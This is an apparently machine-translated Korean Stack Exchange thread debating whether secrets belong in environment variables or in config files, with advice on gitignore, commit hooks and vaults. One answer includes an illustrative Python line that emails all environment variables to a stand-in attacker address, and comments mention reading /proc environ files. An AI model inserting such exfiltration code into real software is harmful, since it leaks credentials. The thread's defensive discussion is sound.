구성 파일에 암호를 일반 텍스트가 아닌 환경 변수로 저장하는 것이 안전합니까?


109

저는 rails, django (그리고 약간의 PHP)에서 몇 가지 앱을 작업하고 있으며, 그중 일부에서 시작한 작업 중 하나는 특정 구성 파일에 일반 텍스트가 아닌 환경 변수로 데이터베이스 및 기타 암호를 저장하는 것입니다. 또는 django 앱의 경우 settings.py에서).

제 협력자 중 한 명과이 문제를 논의하면서 그는 이것이 열악한 관행이라고 제안했습니다. 아마도 이것은 처음에 보이는 것처럼 완벽하게 안전하지 않을 수도 있습니다.

그래서 저는 알고 싶습니다-이것이 안전한 관행입니까? 암호를 이러한 파일에 일반 텍스트로 저장하는 것이 더 안전합니까 (물론 이러한 파일을 공용 저장소 등에 두지 않도록하십시오)?

답변:


45

좀 더 이론적 인 수준에서는 보안 수준에 대해 다음과 같은 방식으로 생각하는 경향이 있습니다 (강도 증가 순서).

  • 보안이 없습니다. 일반 텍스트. 어디를 찾아야하는지 아는 사람은 누구나 데이터에 액세스 할 수 있습니다.
  • 난독 화에 의한 보안. 데이터 (일반 텍스트)를 환경 변수와 같이 까다로운 곳에 저장하거나 구성 파일처럼 보이게하는 파일에 저장합니다. 공격자는 결국 무슨 일이 일어나고 있는지 알아 내거나 우연히 발견하게됩니다.
  • 깨지기 쉬운 암호화에 의해 제공되는 보안 (caesar 암호를 생각해보십시오!).
  • 약간의 노력으로 깨질 수있는 암호화에 의해 제공되는 보안.
  • 현재 하드웨어를 손상시키는 것은 비현실적인 암호화에 의해 제공되는 보안입니다.
  • 가장 안전한 시스템은 아무도 사용할 수없는 시스템입니다! :)

환경 변수는 저장되지 않고 휘발성 / 일회용이기 때문에 일반 텍스트 파일보다 안전합니다. 즉, "set pwd = whatever"와 같은 로컬 환경 변수 만 설정 한 다음 스크립트 끝에서 명령 셸을 종료하는 스크립트를 실행하면 변수가 더 이상 존재하지 않습니다. 귀하의 사건은 처음 두 가지에 해당합니다. 상당히 안전하지 않다고 말하고 싶습니다. 이렇게하려면 직접 인트라넷 / 홈 네트워크 외부에 배포하고 테스트 목적으로 만 배포하는 것이 좋습니다.


1
운영 체제에 따라 다릅니다. 최상의 경우 환경 변수는 일반 텍스트 파일만큼 취약하지만 더 나쁠 가능성이 있습니다. 일반 텍스트 파일을 사용하면 파일 / 디렉터리에 대한 읽기 권한을 설정하여 보호 할 수 있습니다. 환경 변수에 대한 IIRC는 쉘 프로세스를위한 메모리 공간에 있으므로 진취적인 크래커가 해당 공간을 스캔하여 찾을 수 있습니다.
John Carter

1
잠시만 기다려주세요. 환경 변수 내에 자격 증명을 저장하면 먼저 거기에 도달해야합니다. 손으로 또는 대본으로. 소프트웨어 시작을 자동화하기 위해 스크립트를 권장합니다. 그러나 무엇을 추측하면 그럼에도 불구하고 구성 파일 (env 변수 용)에 저장해야합니다. env 변수에 대한 값을 직접 제공하지 않는 한 구성 파일에 대한 보안 차이가 없음을 알 수 있습니다.
수학

59

앞에서 언급했듯이 두 방법 모두 시스템이 손상되면 추가 "보안"계층을 제공하지 않습니다. 환경 변수를 선호하는 가장 강력한 이유 중 하나는 버전 제어 라고 생각합니다. 다른 모든 개발자가 볼 수 있도록 GIT와 같은 버전 제어 시스템에 실수로 너무 많은 데이터베이스 구성 등이 저장되는 것을 보았습니다. 나도 ...).

암호를 파일에 저장하지 않으면 버전 관리 시스템에 저장할 수 없습니다.


6
버전 제어에 비밀 구성 설정을 저장 하지 않는 것에 대한 꽤 합리적인 대안 은 코드 저장소와는 별도의 프로젝트 또는 버전 제어 저장소에 저장하는 것입니다 .
Kenny Evitt 2015 년

1
@KennyEvitt는 저장소에 대한 액세스 권한이있는 모든 사람이 찾을 수있는 공유 위치에 보안되지 않은 일반 텍스트 암호를 남겨두고 누가 액세스했는지 추적 할 방법이 없습니다.
FistOfFury

2
@FistOfFury 물론, 저장소에 액세스 할 수있는 모든 사람이 저장소에 액세스 할 수 있습니다. 비밀을 별도의 저장소 에 저장하는 요점 은 정확히 코드 자체와는 다르게 해당 비밀에 대한 액세스를 제어 할 수 있다는 것입니다. 그러나 저장소는 보안이 가능합니다. 예를 들어 '공유 위치'에 암호화 된 비밀을 저장할 수 있습니다. 또한 공유 위치의 저장소 액세스에 대한 정보를 추적 할 수도 있습니다. 그러나 물론 누구나 정보에 액세스 할 수 있다는 것은 해당 정보를 복사하여 제한이나 추적없이 앞으로 언제든지 액세스 할 수 있음을 의미합니다.
Kenny Evitt

2
암호화 된 비밀을 저장 한 다음 렌더링시 구성 템플릿에서 대체 할 수있는 구성 관리 솔루션을 사용해야하는 큰 이유입니다. 요리사 데이터 가방을 암호화 한, Ansible 등 금고,이
브라이언 클라인

1
이를 Privileged Access Management라고하며 포괄적 인 액세스 제어 기능을 갖춘 중앙 집중식 PAM Vault에 비밀이 저장됩니다. Gartner는 이러한 제품 중 일부를 나열 합니다 .
Amit Naidu

44

암호를 저장해야 할 때마다 안전하지 않습니다. 기간. 암호화되지 않은 암호를 안전하게 저장할 수있는 방법은 없습니다. 이제 환경 변수와 구성 파일 중 어느 것이 더 "안전한지"논쟁의 여지가 있습니다. IMHO, 시스템이 손상된 경우 저장 위치는 중요하지 않으며 성실한 해커가이를 추적 할 수 있습니다.


12
환경 변수의 경우 여기서 유닉스를 기대하고 있습니다 ... 환경 변수는 파일보다 안전하지 않습니다. 누구나 실행중인 프로세스의 환경을 확인할 수 있지만 파일에는 최소한 ACL이있을 수 있습니다.
Vatine

11
개발자가 이러한 암호를 저장해야한다는 점을 감안할 때 이것은 끔찍한 답변이 아닙니다. 그가 그것들을 어디에 저장한다고 제안합니까?
Peter Nixey

2
환경 변수를 노출하는 @Vatine Places에도 권한이 있습니다. cat /proc/1/environ예를 들어 보십시오 .
Chris Down

4
@Vatine 정말? 에서 내가 소유하지 않은 프로세스에 대한 환경이 표시되지 않습니다 ps axe. 권한 시행 strace -e open ps axe이있는에서이 정보를 얻고 있음을 보여줍니다 /proc/[pid]/environ(따라서 많은 open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down

4
허. 저것 봐, 마침내 문제가 해결되었습니다 (예전 ps에는 setuid 였고 거의 모든 환경을 즐겁게 보여줄 것입니다).
Vatine

28

댓글을 달 수있는 담당자가 충분하지 않아서 죄송하지만주의하지 않으면 쉘이 명령 기록에서도 해당 암호를 캡처 할 수 있다는 점을 추가하고 싶었습니다. 따라서 $ pwd=mypassword my_prog수동 과 같은 것을 실행하는 것은 예상했던 것만 큼 일시적인 것은 아닙니다.


21
전체 "env var + command"앞에 공백을 추가하면 기록에 저장되지 않습니다
shadi

감사합니다 @shadi. 매일 새로운 것을 배우십시오! 나는 그것이 쉘 특정 / 끄기 쉬운 것인지 또는 꽤 일관되게 기대할 수있는 것인지 궁금합니다.
brianclements

4
또 다른 방법은 read -s MY_PASS_VAR쉘 히스토리 검색과 숄더 서퍼 모두로부터 보호 할 수 있는 사용 방법입니다 .
MatrixManAtYrService

4
@brianclements 명령 앞에 공백을 붙이는 것은 현재 쉘 HISTCONTROLignorespace또는 로 설정된 경우에만 작동 ignoreboth하므로 기술적으로 켜거나 끌 수 있습니다.
Moses

14

가능한 경우 자격 증명을 환경 변수가 아닌 gitignored 파일에 저장해야한다고 생각합니다.

ENV (환경) 변수와 파일에 자격 증명을 저장할 때 고려해야 할 사항 중 하나는 ENV 변수를 사용하는 라이브러리 또는 종속성에서 매우 쉽게 검사 할 수 있다는 것입니다.

이것은 악의적으로 수행 될 수도 있고 그렇지 않을 수도 있습니다. 예를 들어 라이브러리 작성자는 디버깅을 위해 스택 추적과 ENV 변수를 이메일로 보낼 수 있습니다 (모범 사례는 아니지만 가능함).

자격 증명이 파일에 있으면 정점에 도달하는 것이 훨씬 더 어렵습니다.

특히 노드의 npm에 대해 생각해보십시오. 자격 증명이 ENV에있는 경우 npm이 자격 증명을 보는 것은 process.ENV. 반면에 파일에 있으면 훨씬 더 많은 작업이 수행됩니다.

자격 증명 파일의 버전이 제어되는지 여부는 별도의 질문입니다. 자격 증명 파일을 버전 제어하지 않으면 더 적은 사람에게 노출됩니다. 모든 개발자가 프로덕션 자격 증명을 알 필요는 없습니다. 이것은 최소 권한 원칙에 부합하므로 자격 증명 파일을 무시하는 것이 좋습니다.


6
+1은 "라이브러리 작성자가 디버깅을 위해 스택 추적과 ENV 변수를 이메일로 보낼 수 있습니다." 이 시나리오에 대해 생각한 적이 없습니다.
netishix

6

위협 모델에 따라 다릅니다.

사용자가 잊혀지고 잘못 처리 될 가능성이있는 파일 시스템 전체에 암호를 흩 뿌리는 것을 방지하려고합니까? 그렇다면 환경 변수가 파일보다 영구적이지 않기 때문에 그렇습니다.

프로그램을 직접 표적으로 삼는 악의적 인 무언가로부터 보호하려고합니까? 그렇다면 환경 변수에는 파일과 동일한 수준의 액세스 제어가 없기 때문에 아니요입니다.

개인적으로 부주의 한 사용자가 동기 부여 된 적보다 더 흔하다고 생각하므로 환경 변수 접근 방식을 사용하겠습니다.


0

AFAICT, 사람들이 환경 변수에 비밀 저장을 권장하는 두 가지 이유가 있습니다.

  1. 실수로 비밀 플랫 파일을 저장소에 커밋하는 것은 너무 쉽습니다. (그리고 그것이 공개 저장소라면 건배입니다.)
  2. 즉, 여러 프로젝트 디렉토리 파일에서 동일한 키를 갖는 것은 개발자가 결국 비밀이있는 위치를 추적하지 못하기 때문에 그 자체로 보안 위험이됩니다.

이 두 가지 문제는 더 나은 방법으로 해결할 수 있습니다. 전자는 암호처럼 보이는 것을 확인하는 git commit hook (예 : gitleaks ) 로 해결해야합니다 . Linus가 그러한 도구를 git 라이브러리의 소스 코드에 빌드했으면 좋겠지 만, 아쉽게도 그렇게되지 않았습니다. (말할 필요도없이 비밀 파일은 항상에 추가되어야 .gitignore하지만 누군가가 그렇게하는 것을 잊을 경우를 대비하여 후크가 필요합니다.)

후자는 읽기 전용 공유 드라이브에 이상적으로 저장되는 글로벌 회사 비밀 파일을 사용하여 해결할 수 있습니다. 따라서 Python에서는 from company_secrets import *.

더 중요한 것은 다른 사람들이 지적했듯이 환경 변수에 저장된 비밀을 해킹하기가 너무 쉽다는 것입니다. 예를 들어 Python에서는 라이브러리 작성자가 삽입 send_email(address="evil.person@evil.com", text=json.dumps(os.environ))할 수 있으며이 코드를 실행하면 건배합니다. 해킹은 시스템에 ~/secret_company_stuff/.my_very_secret_company_stuff.

Django 사용자 만 해당 :
Django (DEBUG 모드)는 예외가있는 경우 (DEBUG 모드에서) 브라우저에 환경 변수의 원시 값을 표시합니다. 예를 들어 개발자가 실수 DEBUG=True로 프로덕션에 설정하는 경우 이는 매우 안전하지 않은 것 같습니다 . 반면, 장고는 문자열을보고 난독 암호 설정 변수를합니까 API, TOKEN, KEY, SECRET, PASS또는 SIGNATURE프레임 워크의에서 settings.py파일의 변수 이름.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.